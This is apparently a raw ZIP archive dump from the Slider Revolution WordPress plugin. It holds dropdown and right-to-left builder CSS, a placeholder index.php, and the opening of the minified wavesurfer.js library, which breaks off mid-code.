.rs_overview .ddTP_C .ddTP_S, #rb_tlw #addon_overviewheader .ddTP_C .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 17px; color: #797b7e; background: transparent  }
.rs_overview .ddTP_C .ddTP_S--single .ddTP_S__rendered { color:#797b7e; line-height: 50px; vertical-align: top }
#rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__rendered { color:#797b7e; line-height: 50px; vertical-align: top; font-size:17px; }
.rs_overview .ddTP_C .ddTP_S--single .ddTP_S__arrow b { border-color: #797b7e transparent transparent transparent }
#rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__arrow b {border-color: #888 transparent transparent transparent;border-style: solid;border-width: 5px 4px 0 4px;height: 0;left: 50%;margin-left: -4px;margin-top: -2px;position: absolute;top: 50%;width: 0; }
.rs_overview .ddTP_C:hover .ddTP_S--single .ddTP_S__arrow b, #rb_tlw #addon_overviewheader .ddTP_C:hover .ddTP_S--single .ddTP_S__arrow b { border-color: #fff transparent transparent transparent }
.rs_overview .ddTP_C:hover .ddTP_S__rendered, #rb_tlw #addon_overviewheader .ddTP_C:hover .ddTP_S__rendered { color: #fff !important; }

#rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single .ddTP_S__arrow { background:transparent;line-height: 50px;vertical-align: top;height: 50px !important; margin-left:10px; border:none !important}

#rb_tlw #addon_overviewheader .ddTP.ddTP_C.ddTP-fake.ddTP_C--autowidthinmodal { margin-right:0px !important}
/* BLUE STYLE */
.rs_overview .ddTP_C.ddTP_C--blue { width: 100% !important; background: #00529d; line-height: 20px; border-radius: 4px; box-sizing: border-box; height: auto; padding:0px !important; margin:0px;}
.rs_overview .ddTP_C.ddTP_C--blue  .selection,
.rs_overview .ddTP_C.ddTP_C--blue .ddTP_S{ width: 100% !important; }
.rs_overview .ddTP_C.ddTP_C--blue .ddTP_SCH__field { color: #fff !important; line-height: 20px; margin-top: 0px;  }
.rs_overview .ddTP_C.ddTP_C--blue .ddTP_S { box-shadow:none;outline:none;border: none; padding:0px; margin:0px; display: inline-block;font-size: 12px; color: #fff; background: transparent  }
.rs_overview .ddTP_C--blue .ddTP_S__rendered { color:#fff; line-height: 20px; vertical-align: top ; }
.rs_overview .ddTP_C--blue .ddTP_S--single .ddTP_S__rendered { color:#fff; line-height: 22px; vertical-align: top ; padding:5px 10px 0px; display: block}
.rs_overview .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice { color:#fff; line-height: 20px; vertical-align: top; background: #006dd2; border-radius: 4px; border: none; }
.rs_overview .ddTP_C--blue .ddTP_S__rendered .ddTP_S__choice__remove { color:#fff; line-height: 21px; vertical-align: top; float: left;font-weight: 800;font-size: 8px; }
.ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--below,
.ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP-dropdown.ddTP-dropdown--above { width: 267px !important; min-width:267px; background: #006dd2; margin-left:-5px; margin-top:5px;}
.ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_ROs {  }
.ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO { color: rgba(255,255,255,0.65); }
.ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted { background: #00529c; color: #fff; }

.ddTP_C.ddTP_C--blue.ddTP_C--open .ddTP_RO.ddTP_RO--highlighted[aria-selected=true], .ddTP_C .ddTP_RO[aria-selected=true] { background: #1a7cd7;color: #fff; }
.rs_overview .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow { height: 30px; ;}
.rs_overview .ddTP_C.ddTP_C--blue .ddTP_S--single .ddTP_S__arrow b { border-color: #fff transparent transparent transparent  }
.ddTP_C.ddTP_C--blue .ddTP_SCH--dropdown .ddTP_SCH__field { background: #00529d; color: #fff; }


/* AUTOWIDTH CHANGES */
.ddTP.ddTP_C.ddTP_C--autowidth, #rb_tlw #addon_overviewheader .ddTP.ddTP_C.ddTP_C--autowidthinmodal { width: auto !important; }
.ddTP_C.ddTP_C--autowidth .ddTP-dropdown,
#rb_tlw #addon_overviewheader .ddTP.ddTP_C.ddTP_C--autowidthinmodal .ddTP-dropdown { min-width: 150px; }

#objectlibrary.rs_overview .ddTP_C { margin-right: 0px; }

._TPRB_ .olibrary_custom_tagselector_wrap .ddTP.ddTP_C.ddTP_C--default { box-sizing:border-box; width: 116px !important; min-width: 116px !important; max-width: 116px !important; }
._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C,
._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow { height:16px; vertical-align: top; color:#b7bbc0; text-align: right}

._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__rendered { font-size: 13px; line-height: 16px; color:#b7bbc0; min-width: 90px; max-width:90px;}
._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow { top:-1px; }
._TPRB_.rs_overview .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow b { margin-top:-1px; border-color:#b7bbc0 transparent transparent transparent; }

._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C,
._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow,
._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__rendered,

._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C,
._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow,
._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__rendered { color:#fff; }

._TPRB_.rs_overview .olibrary_item:hover .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow b,
._TPRB_.rs_overview .olibrary_item.selected .olibrary_custom_tagselector_wrap .ddTP_C .ddTP_S--single .ddTP_S__arrow b {  border-color:#fff transparent transparent transparent; }

#ol_modulessorting .ddTP_C .ddTP_S--single,
#addon_overviewheader .ddTP_C .ddTP_S--single,
#modulesoverviewheader .ddTP_C .ddTP_S--single,
#rb_tlw #addon_overviewheader .ddTP_C .ddTP_S--single,
#modulesoverviewfooter .ddTP_C .ddTP_S--single { height: 50px; }

 .ddTP_C--open { z-index: 100010; }
span.ddTP_C.ddTP_C--inmodal.ddTP_C--open {z-index: 1000005;}
span.ddTP_C.ddTP_C--autowidthinmodal.ddTP_C--open {z-index: 1000005;}

.ddTP_R,
.ddTP_C .ddTP_R > .ddTP_ROs { max-height: 250px }
.ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field { line-height: 20px; border: none !important; border-radius: 0px; box-shadow: none !important; outline: none !important; margin:0px; padding:0px 0px 0px 5px;  color: #b7bbc0; font-size: 13px; font-weight: 500;  }
.ddTP_C .ddTP_SCH--dropdown .ddTP_SCH__field { background: #2a2c2f;line-height: 37px; padding: 0px 10px; }
.ddTP_C .ddTP-dropdown { background-color: #2a2c2f; box-shadow: none; border:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);}
.ddTP_C.ddTP_C--min90 .ddTP-dropdown { min-width: 90px }
.ddTP_C.ddTP_C--min120 .ddTP-dropdown { min-width: 120px }
.ddTP_C.ddTP_C--minl120 .ddTP-dropdown { min-width: 120px; transform: translateX(-52px); }
.ddTP_C.ddTP_C--min150 .ddTP-dropdown { min-width: 150px }
.ddTP_C .ddTP_RO { color:#b7bbc0; font-size: 13px; padding: 6px 10px;     width: 100%;overflow: hidden;position: relative;box-sizing: border-box;white-space: nowrap;text-overflow: ellipsis;}
.ddTP_C .ddTP_RO.ddTP_RO--highlighted { color: #fff; background: #3f444a !important;  }
.ddTP_C .ddTP_RO.ddTP_RO--highlighted[aria-selected=true],
.ddTP_C .ddTP_RO[aria-selected=true] { color: #fff; background: #006dd2 !important; }
.ddTP_C .ddTP_RO[aria-selected=true] span i { color: #fff !important; }
.ddTP_C .ddTP_RO[aria-disabled=true] { display: none !important; }
.ddTP_R__group { background: #343639;color: #777c80; font-size: 13px; font-weight: 500;  text-transform: capitalize; padding:6px 15px; margin-top:10px;margin-bottom:5px}
.rb-basicforms .ddTP_C .ddTP_S { box-shadow: none; outline: none; border: none; border-radius: 3px; width: 185px; padding: 0px; margin: 0px 0px 10px; }

.rb-basicforms oneshort  .ddTP_C .ddTP_S,
.rb-basicforms oneshort  .ddTP_C,
.rb-basicforms .ddTP_C.shortfield .ddTP_S,
.rb-basicforms .ddTP_C .ddTP_S.shortfield,
.rb-basicforms .shortfield .ddTP_C .ddTP_S,
.rb-basicforms onelong  .ddTP_C .ddTP_S,
.rb-basicforms onelong  .ddTP_C,
#rb_tlw oneshort  .ddTP_C .ddTP_S,
#rb_tlw oneshort  .ddTP_C,
#rb_tlw .ddTP_C.shortfield .ddTP_S,
#rb_tlw .ddTP_C .ddTP_S.shortfield,
#rb_tlw .shortfield .ddTP_C .ddTP_S,
#rb_tlw onelong  .ddTP_C .ddTP_S,
#rb_tlw onelong  .ddTP_C  {width:68px !important; min-width: 68px !important}


/* FROM BUILDER.CSS  */
#rb_tlw .ddTP_C .ddTP_S { box-shadow:none;outline:none;border: none;border-radius: 3px; width:185px;padding:0px; margin:0px 0px 10px; }
#rb_tlw longoption  .ddTP_C .ddTP_S  { width: 60px; }
#rb_tlw onethird  .ddTP_C .ddTP_S { width: 50px !important; }

#rb_tlw .ddTP_C .ddTP_S {background-color: #2a2c2f;border: none;border-radius: 0px; font-size: 12px;color: #000;font-weight: 400;vertical-align: top;min-height: 30px; width:185px;}
#rb_tlw .input_with_buttonextenstion .ddTP_C .ddTP_S { width: 154px; }
#rb_tlw .ddTP_C .ddTP_S--single .ddTP_S__rendered { line-height: 30px }
#rb_tlw .__inmodal .ddTP_C .ddTP_S { width: 100%; }
#rb_tlw .ddTP_C .ddTP_S .ddTP_S__rendered {border-radius:0px;color: #b7bbc0; font-size:13px; font-weight: 500; }
#rb_tlw .ddTP_C .ddTP_S .ddTP_S__rendered:hover { color: #fff; }

#rb_tlw .ddTP_C .ddTP_S.ddTP_S--multiple .ddTP_S__rendered { line-height:20px; background:#2a2c2f;padding: 0px 5px; box-sizing: border-box;margin-top: 0px; min-height: 20px; vertical-align: top }
#rb_tlw .ddTP_C .ddTP_S .ddTP_S__clear {cursor: pointer;float: right;font-weight: bold; }
#rb_tlw .ddTP_C .ddTP_S .ddTP_S__placeholder {color: #b7bbc0; }
#rb_tlw .ddTP_C .ddTP_S--single .ddTP_S__arrow { top: 0px !important; right: 0px;  border-left:1px solid #323438; width:30px !important; height:30px !important; background: #2a2c2f}

#rb_tlw .input_with_buttonextenstion .ddTP_C .ddTP_S--single .ddTP_S__arrow { right: 35px; }
#rb_tlw .ddTP_C .ddTP_S .ddTP_S__arrow b { border-top-color:#777c80; color: #777c80; cursor:pointer}
#rb_tlw .ddTP:hover .selection .ddTP_S__arrow b { border-top-color:#b7bbc0 !important; color: #b7bbc0; }
#rb_tlw .ddTP_C.ddTP_C--open .ddTP_S--single .ddTP_S__arrow b {  border-bottom-color:#777c80;}
#rb_tlw .ddTP_C.ddTP_C--open:hover .ddTP_S--single .ddTP_S__arrow b {  border-bottom-color:#b7bbc0 !important;}



#rb_tlw .ddTP_C .ddTP_S {padding: 0px 10px;border-radius: 4px; box-sizing: border-box; display: inline-block}
#rb_tlw .ddTP_S.ddTP_S--multiple { padding: 5px 0px 0px; border-radius: 4px;}
#rb_tlw .ddTP_C {min-width: 100px;margin-right: 5px; margin-bottom: 10px;}
#rb_tlw .ddTP_C .ddTP_SCH.ddTP_SCH--inline {  height: 20px; line-height: 20px; margin: 0px; }

#rb_tlw .ddTP_C .ddTP_S--multiple .ddTP_S__choice { margin:0px 5px 5px 0px; text-align:center; padding:0px 10px 0px 5px; line-height: 20px; border: none; border-radius: 3px; background: #006dd2; color: #fff;font-size: 12px; font-weight: 500;vertical-align: top;  }
#rb_tlw .ddTP_C .ddTP_S--multiple .ddTP_S__choice.isplaceholder {color: #b7bbc0;font-size: 13px;background: transparent; padding:0px 5px;}
#rb_tlw .ddTP_C .ddTP_S--multiple .ddTP_S__choice__remove { color: #fff; margin-right: 5px; font-size: 8px; font-weight: 800;line-height: 20px; vertical-align: top; float:left;}


#rb_tlw .ddTP_C .ddTP_SCH--inline .ddTP_SCH__field { line-height: 20px; border: none !important; border-radius: 0px; box-shadow: none !important; outline: none !important; margin:0px; padding:0px 0px 0px 5px;  color: #b7bbc0; font-size: 13px; font-weight: 500;  }
#rb_tlw .ddTP_C.ddTP_C--focus .ddTP_SCH--inline .ddTP_SCH__field {  max-width: 185px; margin-top:-4px;}

#rb_tlw .ddTP_C { margin-top:0px; margin-bottom: 0px; width:185px !important; margin-right:0px; display: inline-block}
#rb_tlw .ddTP_C.ddTP_C--inlongoption {  width:105px !important; }

#rb_tlw .__inmodal .ddTP_C { width: 100% !important; }
 
#rb_tlw .ddTP_C--smalltos2,
#rb_tlw .ddTP_C--smalltos2 .ddTP-dropdown--below {min-width: 50px;  }
#rb_tlw .ddTP_C--smalltos2 .ddTP_S {width: 60px;}

#rb_tlw .ddTP_C--smalltos2-suffix,
#rb_tlw .ddTP_C--smalltos2-suffix .ddTP-dropdown--below {min-width: 56px;  }

#rb_tlw .ddTP_C--smalltos2-suffix .ddTP_S {width: 56px; border-radius: 0px 4px 4px 0px; }

#rb_tlw #rs_ne_cssmeta_config .ddTP_C { width: 125px !important; }
#rb_tlw #rs_ne_cssmeta_config .ddTP_C .ddTP_S { width: 125px; }

#ol_footer .rs_fh_right .ddTP_C .ddTP_S--single { line-height: 50px; height: 50px; }

PK�y3\��QCL8L8assets/css/builder-rtl.cssnu�[���

/************************************************
 * REVOLUTION 6.0.0 BUILDER CLASSES RTL SUPPORT
 * @version: 1.0 (12.06.2017)
 * @author ThemePunch
************************************************/

/* GENERAL */
body.rtl .rfloated { float: left }

body.rtl #responsive_infos_toolbar .material-icons, 
body.rtl #objectlibrary .material-icons, 
body.rtl #rb_tlw .material-icons, 
body.rtl #rs_overview .material-icons, 
body.rtl #filedrop .material-icons, .material-icons {  }

body.rtl #rb_tlw .icon_trigger_wrap .icon_trigger i, 
body.rtl #rb_tlw .icon_trigger_wrap .icon_switcher i,
body.rtl .shortcut_cmdctrl,
body.rtl #the_container .do_title_layer_icon, 
body.rtl #the_container .do_title_slide_icon,
body.rtl .olti_icon.material-icons,
body.rtl #obj_fil_favorite i.material-icons, 
body.rtl #obj_updatefromserver i.material-icons { margin-right: 0px; margin-left: 5px; }

body.rtl .basic_action_coloredbutton i, 
body.rtl .basic_action_button i,
body.rtl .sle_description i.material-icons,
body.rtl .toolbar_btn .material-icons,
body.rtl #rs_overview i.material-icons.reset_select, 
body.rtl #objectlibrary i.material-icons.reset_select,
/*body.rtl .olti_content .tponoffwrap,*/
body.rtl .olti_btn i.material-icons,
body.rtl #ol_results .rsl_breadcrumb i.material-icons,
body.rtl .ol_filter_listelement i.material-icons,
body.rtl .rso_scrollmenuitem i.material-icons,
body.rtl .rbm_darkbutton i.material-icons,
body.rtl .mdl_group_member i.material-icons, 
body.rtl .mdl_group_member i.fa__icons, 
body.rtl .lal_group_member i.material-icons,
body.rtl .mdl_group_header i.fa__icons, 
body.rtl .mdl_group_header i.material-icons, 
body.rtl .lal_group_header i.material-icons,
body.rtl .box_with_icon i.material-icons { margin-right: 0px; margin-left: 10px; }

body.rtl .quick_colorchange_dark { left: 40px; right: auto; }
body.rtl .quick_colorchange_light { left: 18px; right: auto; }

body.rtl .qse_boxshadow { left: auto; right: 50px; }


body.rtl .mdl_group_header i.material-icons.accordiondrop, 
body.rtl .lal_group_header i.material-icons.accordiondrop { left: 5px; right: auto; }

body.rtl i.rbm_symbol.material-icons,
body.rtl label_sub, body.rtl .label_sub, 
body.rtl label_short, body.rtl .label_short, 
body.rtl label_a_left, body.rtl .label_a_left, 
body.rtl label_a_right, body.rtl .label_a_right, 
body.rtl xy_label, body.rtl .xy_label, 
body.rtl label_full, body.rtl .label_full, 
body.rtl label_a, body.rtl .label_a,
body.rtl .form_collector .form_inner_header .material-icons { margin-right: 0px; margin-left: 15px; }

body.rtl label_sub, body.rtl .label_sub, 
body.rtl label_short, body.rtl .label_short, 
body.rtl label_a_left, body.rtl .label_a_left, 
body.rtl label_a_right, body.rtl .label_a_right, 
body.rtl xy_label, body.rtl .xy_label, 
body.rtl label_full, body.rtl .label_full, 
body.rtl label_a, body.rtl .label_a { text-align: left; }

body.rtl #do_title_layer, 
body.rtl #do_title_slide, 
body.rtl #do_title_layer_not_selected { margin-left: 20px; margin-right: 0px; }


body.rtl .fake_onff_on, 
body.rtl .tponoff_on { left: 122px; }

body.rtl #rb_tlw .ddTP_C .ddTP_S,
body.rtl .ddTP_C .ddTP_RO { text-align: right }

body.rtl #slide_thumb_repeater { left: auto; right: 105px; }
body.rtl .slidetab_toolbox { left: 0px; right: auto; }
/*
body.rtl .fake_onff_off, 
body.rtl .tponoff_off { left: 58px; }

body.rtl .fake_onff_off:after, 
body.rtl .tponoff_off:after { left: 45px; }*/

body.rtl .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__rendered { padding-left: 0px; padding-right: 0px; }
body.rtl .ddTP_C[dir="rtl"] .ddTP_S--single .ddTP_S__arrow {  }

body.rtl .rs_overview .ddTP_C { padding-left: 25px; padding-right: 0px; }

body.rtl #rb_tlw .ddTP_C .ddTP_S--single .ddTP_S__arrow { left: 0px; right: auto; border-right: 1px solid #323438; border-left: none }
body.rtl label_icon, label_bigicon { margin-left: 5px; margin-right: 0px; }

body.rtl label_icon.ui_centeralign,
body.rtl label_icon.ui_bottomalign,
body.rtl label_icon.ui_middlealign,
body.rtl label_icon.ui_leftalign,
body.rtl label_icon.ui_topalign,
body.rtl label_icon.ui_rightalign { margin-right: 0px; margin-left: 0px }
body.rtl label_icon.singlerow, 
body.rtl onelong .label_mi.material-icons:first-child, 
body.rtl onelong label_icon:first-child { margin-right: 60px; }
body.rtl onelong { padding-left: 10px; padding-right: 0px; }
body.rtl longoption label_a,
body.rtl .basic_action_coloredbutton, 
body.rtl .basic_action_button { text-align: right }

body.rtl longoption .tponoffwrap, 
body.rtl longoption .fake_on_button { float: left;  margin:9px 0px 0px 10px;}
body.rtl .lp10 { padding-left: 0px; padding-right: 10px; }
body.rtl longoption i.material-icons { margin-right: 15px; margin-left: 0px; }
body.rtl longoption label_a { margin-right: 10px; }
body.rtl #rb_tlw .radiooption label_sub, 
body.rtl #rb_tlw .radiooption .label_sub { padding-left: 0px; padding-right:30px;}
body.rtl  #rb_tlw .radiooption label_sub:before, 
body.rtl  #rb_tlw .radiooption .label_sub:before { left: auto; right: 0px; }
body.rtl oneabsolute { left: auto; right: 0px; }
body.rtl #rb_tlw .radiooption input[type=radio] { margin: 5px -2px 0px 10px; }
body.rtl labelhalf { text-align: left; }

body.rtl .emc_toggle_inner.ps>.rs__scrollbar-y-rail { left: 0px !important;right: auto !important; }

body.rtl .rbm_content.ps>.rs__scrollbar-y-rail,
body.rtl #quick_style_scrollable.ps>.rs__scrollbar-y-rail,
body.rtl #layeraction_list.ps>.rs__scrollbar-y-rail,
body.rtl #rbm_addon_details.ps>.rs__scrollbar-y-rail,
body.rtl #rbm_addonlist.ps>.rs__scrollbar-y-rail  { right: 0px !important; }
body.rtl .mr10 { margin-right: 0px; margin-left: 10px; }
body.rtl .buttonextenstion { left: 0px; right: auto; }
body.rtl #rb_tlw .input_with_buttonextenstion .ddTP_C .ddTP_S--single .ddTP_S__arrow { left: 35px; }
body.rtl #slide_bg_image_path { float: right; }
body.rtl .basic_action_button.onlyicon i { margin-right: 6px; margin-left: 0px; }
body.rtl .bg_align_xy { right: 68px; left: auto; }


/* OVERVIEW PAGE */
body.rtl #rs_overview_menu { padding-right: 75px; padding-left: 0px; margin-right: -20px; margin-left: 0px; }
body.rtl .rso_scrollmenuitem { margin-right: 0px; margin-left: 50px; }
body.rtl #new_blank_slider { margin-right:0px; }
body.rtl #add_on_management { margin-right:20px; }
body.rtl .overview_elements { margin-right: 0px; margin-left: -30px; }
body.rtl .rs_library_element { margin-right: 0px; margin-left: 20px; }
body.rtl .ov-pagination { margin-right: 0px; margin-left: 20px; }
body.rtl .page_button { margin-right: 0px; margin-left: 5px; }
body.rtl .rs_fh_right { float: left; }
body.rtl .rs_fh_left { float: right; }
body.rtl grayiconbox { margin-right: 0px; margin-left:20px;}
body.rtl blueiconbox.blueiconongray { margin-right: -34px; margin-left:20px;}
body.rtl .pli_left { padding-right: 0px; padding-left: 80px;     border-left: 1px solid #323438; border-right: none }
body.rtl .pli_right { padding-left: 0px; padding-right: 30px; }
body.rtl .system_requirement, 
body.rtl .pli_update_history li { padding-left: 0px; padding-right: 40px; }
body.rtl .pli_update_history ul { padding-left: 0px; padding-right: 20px; }
body.rtl .pli_update_history li:before { float: right; left:auto; right:17px; margin-right:0px; margin-left:20px;}
body.rtl .pli_update_history .newfeature:before { margin-right: 0px; margin-left: 20px }
body.rtl .system_requirement { padding: 0px; }
body.rtl #rs_overview .system_requirement>i.material-icons { margin-left: 10px; margin-right: 0px; }
body.rtl .system_requirement darkiconbox { left: 30px; right: auto; }
body.rtl .box_with_icon:focus, .box_with_icon { text-align: right; }
body.rtl .rs_overview .ddTP_C { margin-left: 40px; margin-right: 0px; }

body.rtl .rsle_folder { left: 0px; right: auto; text-align:left; padding-left:10px; padding-right:0px;}
body.rtl .rs_library_element .title_container { right: 0px; left: auto; }

body.rtl .show_rsle { left: 0px; padding-left: 10px; padding-right: 0px; right: auto;  text-align: left;}

body.rtl #decmod_do_btn { margin-left: 10px !important; margin-right: 0px !important}

body.rtl .rbm_darkhalfbutton i.material-icons { margin-right: 0px; margin-left: 10px; }

body.rtl #rs_ne_ce_wrap { left: 0px;  right:auto;}

body.rtl #rs_ne_helper_wrap { padding-right: 30px; }

body.rtl #rs_ne_meta_values_inner .rs_ne_nskin_tbar_basic { right: auto; left: 0px; text-align: left; }

body.rtl #rs_ne_cssmeta_config label_a { text-align: right }


body.rtl #no_layer_selected .material-icons { margin-left: 10px; margin-right: 0px }


/* OBJECT LIBRARY CHANGES */
body.rtl #ol_filters_wrap { right: 0px; left: auto; }
body.rtl #ol_right { padding: 90px 300px 70px 0px; }
body.rtl #objectlibrary .rb_the_logo { right: 15px; left: auto; }
body.rtl #ol_header { padding: 10px 300px 10px 30px;}
body.rtl #obj_updatefromserver { margin-left: 0px; margin-right: 20px; }
body.rtl #ol_close { margin-left: 0px; margin-right: 20px; }
body.rtl #ol_footer { left: auto; right: 0px; }
body.rtl .olibrary_item { margin-right: 0px; margin-left: 20px; }
body.rtl #objectlibrary.rs_overview .ddTP_C { margin-right: 40px; margin-left: 0px; }

body.rtl #keyframe_list_el_frame_0 .keyframe_CP_wrap { right: 280px; }

body.rtl .load_anim_value_wrap { padding: 10px 0px 0px; }
/* EDITOR */

body.rtl .toolbar_rightoriented {  left:0px; right:auto;}

/*body.rtl #main_hor_toolbar,
body.rtl #timeline_settings,
body.rtl #the_editor { padding: 0px 0px 0px 320px; }*/
/*body.rtl #the_right_toolbar { left: 0px; right: auto; }*/
/*body.rtl #save_slider { left: 0px; right: auto; }*/

body.rtl #timeline_settings,
body.rtl #timeline,
body.rtl #frame_copypaste_tool,
body.rtl .keyframe_CP_wrap,
body.rtl .tponoffwrap.off { direction: ltr; }
body.rtl .quick_style_wrap,
body.rtl .mht_inner { border-left: 1px solid #202224; border-right:none;}
body.rtl .layertoolbar_wrap { margin-left: -440px; }
body.rtl .toolbar_listelement, 
body.rtl .toolkit_selector, 
body.rtl .screen_selector,
body.rtl .outicon_dd_rwap, 
body.rtl .tool_dd_wrap,
body.rtl .slide_list_element,
body.rtl .sle_description { text-align: right }
body.rtl .toolbar_dd_subdrop { left: auto;right: 100%; }
body.rtl .outicon_dd_rwap, 
body.rtl .tool_dd_wrap { left: auto; right: 0px; }
body.rtl .sle_thumb { right: 200px; left: auto; }
body.rtl .shortcuttext { left: 16px; right: auto; float:left;}
body.rtl .toolbar_listelement .material-icons, 
body.rtl .toolkit_selector .material-icons, 
body.rtl .screen_selector .material-icons { margin-left: 15px; margin-right: 0px; }
body.rtl #_layer_settings .tool_drop { padding-right: 20px; padding-left: 0px; }
body.rtl .toolbar_rightoriented .tool_dd_wrap { margin-right: -49px; margin-left: 0px; }
body.rtl .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-left: 0px; margin-right: -99px; }

body.rtl .toolkit_selector .near_me_addon { right: 28px; left: auto; }

body.rtl .icon_trigger_wrap,
body.rtl .on_off_navig_wrap { left: 0px; right: auto; }

body.rtl #kenburn_timeline { margin-left: 9px; margin-right: 0px; }
body.rtl #kenburn_simulator { margin-left: 4px; margin-right:0px;}

body.rtl .input_presets_dropdown { left: 0px; right: auto;}
body.rtl .input_preset i.material-icons{ margin-left:10px !important; margin-right:0px !important}

body.rtl li .right-divided-icon { left: 0px; right: auto;}

body.rtl li.added_slide_transition >i.transition-replace { left: 30px; border-left: 1px solid rgba(0,0,0,0.2);; border-right: none; right: auto;}
body.rtl .right-divided-icon { left: 0px; right: auto;}

body.rtl #screen_selector_top_list .screen_selector .tponoffwrap {   left:10px; right:auto;}
 

/* ADD ONS */
body.rtl #rbm_addon_details .rs__scrollbar-x-rail { left: 0px !important; }
body.rtl i.rbm_close.material-icons { left: 0px; right: auto; }
body.rtl #check_addon_updates { right: 820px; left: auto; }
body.rtl #rbm_addon_details { left: 0px; right: auto; }
body.rtl #rbm_configpanel_savebtn { left: 0px; right: auto; }

/* CSS EDITOR */
body.rtl #form_module_advanced_api { direction: ltr; }
body.rtl #form_module_advanced_api label_a { margin-left: 0px; margin-right: 15px; }
body.rtl #form_module_advanced_api .basic_action_button i { margin-left: 0px; margin-right: 5px }
/*body.rtl .emc_toggle_wrap { left: -40px; right:auto; border-right:1px solid #000; transition:left 0.5s; border-left:0px;}
body.rtl .emc_toggle_wrap.open { left: -351px; right:auto;}
body.rtl #emc_toggle { left: 0px; right: auto; }*/



/* ACTIONS */
body.rtl .sla_actionname { max-width: 151px; float: left; }
body.rtl .sla_icon.material-icons { margin-left: 10px; margin-right: 5px; }

/* METAAS */
body.rtl #mdl_group_wrap_menu { text-align: left }

/* FRAME ANIMATIONS */
body.rtl #le_keyframes_list_innerwrap li:nth-child(2) { right: 173px; left: auto; }
body.rtl #le_keyframes_list_innerwrap li:nth-child(2) .frame_list_title { border-radius: 4px 0px 0px 4px; border-right: 2px solid #323438; border-left: none }
body.rtl #le_keyframes_list_innerwrap li:nth-child(1) .frame_list_title { border-radius: 0px 4px 4px 0px; }
body.rtl #le_keyframes_list_innerwrap .frame_list_id { text-align: left }
body.rtl .frame_list_title { margin-left: 0px; margin-right:5px; }
body.rtl .animation_drop_arrow { left: 0px; right: auto; }
body.rtl .custom_layer_animation_toolbar { left: 5px; right: auto; }

body.rtl .add_frame_after, 
body.rtl .add_frame_before { left: 0px; right: auto; }

body.rtl .add_frame_after:after, 
body.rtl .add_frame_before:after { border-width: 10px 0px 10px 13px; border-color: transparent  transparent transparent #006dd2; right: -7rpx; left: auto; }


body.rtl #rso_menu_notices { left: 94px; right: auto; }
body.rtl #rs_notices_wrapper { left: 0px; right:auto; }

/* LAYERS */
body.rtl ._group_lock_toggle_ { left: 0px; right: auto; }

body.rtl .undo_redo_wrap .tool_dd_wrap:before {
	left: 0px; right: auto;
	 background: linear-gradient(to left, rgba(41,44,46,0) 0%, rgba(41,44,46,1) 100%);
}

@media only screen and (max-width: 1365px) {
  body.rtl #add_layer_toolbar_wrap {
      margin-left: 10px;
      margin-right:0px
  }
}

@media only screen and (max-width: 1325px) {
  body.rtl .toolbar_rightoriented #toolkit_selector_wrap .tool_dd_wrap {margin-right: -99px; margin-left:0px;}
  body.rtl .toolbar_rightoriented .tool_dd_wrap {margin-right: -129px;margin-left:0px;}
  body.rtl .toolbar_rightoriented #main_screenselector .tool_dd_wrap { margin-right: -159px !important; margin-left:0px !important;}
}


PK�y3\�ƹ�assets/js/index.phpnu�[���<?php // Silence is golden
PK�y3\��9��assets/js/plugins/wavesurfer.jsnu�[���
/*!
 * wavesurfer.js 2.0.6 (Fri Jun 15 2018 10:57:58 GMT+0200 (CEST))
 * https://github.com/katspaugh/wavesurfer.js
 * @license BSD-3-Clause
 */
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("WaveSurfer",[],t):"object"==typeof exports?exports.WaveSurfer=t():e.WaveSurfer=t()}(window,function(){return function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)r.d(n,i,function(t){return e[t]}.bind(null,i));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return 